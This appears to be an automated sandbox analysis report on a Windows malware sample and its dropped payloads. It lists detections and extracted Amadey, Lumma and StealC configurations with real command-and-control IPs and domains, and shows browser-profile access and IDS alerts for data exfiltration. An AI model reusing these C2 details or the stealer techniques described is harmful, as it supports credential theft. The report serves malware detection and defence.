Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000000.00000003.1767862470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "sustainskelet.lat", "lossekniyyt.click", "necklacebudi.lat", "rapeflowwj.lat", "discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "aspecteirs.lat"], "Build id": "9Z1cyc--"}
Source: 7847e34378.exe.4408.11.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: energyaffai.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: discokeyus.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: grannyejh.lat
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: lossekniyyt.click
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: Workgroup: -
Source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack	String decryptor: 9Z1cyc--

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00415799 CryptUnprotectData,		7_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF06C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,		11_2_6CF06C80

Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_de05097c-9

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50092 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 7847e34378.exe, 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: c7af53ccad.exe, 00000006.00000002.2391915749.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 08f77951f7.exe, 00000029.00000003.3055950864.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdb source: 08f77951f7.exe, 00000029.00000003.3055950864.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: c7af53ccad.exe, 00000006.00000002.2391195387.00000000050E0000.00000004.08000000.00040000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2de5083afa.exe, 0000001E.00000003.2900710285.0000000005050000.00000004.00001000.00020000.00000000.sdmp, 2de5083afa.exe, 0000001E.00000002.3039644293.0000000000272000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: mozglue.pdb source: 7847e34378.exe, 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_029F0BD0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	7_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov byte ptr [esi], al	7_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	7_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, eax	7_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	7_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	7_2_0043C767
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	7_2_0040B70C
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov esi, eax	7_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, eax	7_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then jmp eax	7_2_0042984F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov edx, ecx	7_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	7_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	7_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then test eax, eax	7_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov byte ptr [edi], al	7_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	7_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	7_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ecx], bp	7_2_0041D83A
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then push C0BFD6CCh	7_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then push C0BFD6CCh	7_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	7_2_0042B170
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	7_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	7_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, eax	7_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ecx], dx	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [edi], dx	7_2_004199EE
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [esi], cx	7_2_004199EE
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, eax	7_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebp, eax	7_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, esi	7_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ebx], cx	7_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	7_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	7_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	7_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [esi], cx	7_2_00419A23
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then push esi	7_2_00427AD3
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ebx], ax	7_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then push ebx	7_2_0043CA93
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [esi], cx	7_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00428B61
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	7_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, eax	7_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, eax	7_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	7_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	7_2_0041D380
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp al, 2Eh	7_2_00426B95
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	7_2_00435450
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	7_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then push 00000000h	7_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ecx], dx	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	7_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	7_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	7_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then jmp eax	7_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	7_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, eax	7_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	7_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then jmp dword ptr [0044450Ch]	7_2_00418591
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	7_2_00428D93
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then xor edi, edi	7_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov eax, dword ptr [0044473Ch]	7_2_0041C653
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov edx, ebp	7_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then jmp dword ptr [004455F4h]	7_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, eax	7_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	7_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov byte ptr [edi], bl	7_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	7_2_0042A700
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov byte ptr [esi], al	7_2_0041BF14
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	7_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	7_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then mov ecx, ebx	7_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then jmp ecx	7_2_0040BFFD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	7_2_0043EFB0

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 30MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 181MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49737 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49743
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49768 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49794 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:65533 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:54904 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49820 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49839 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49847 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:58665 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49859 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49857
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49857
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49866 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:63255 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49873 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49877 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49897 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49924 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49930 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49908 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49940 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49896 -> 185.185.71.170:80
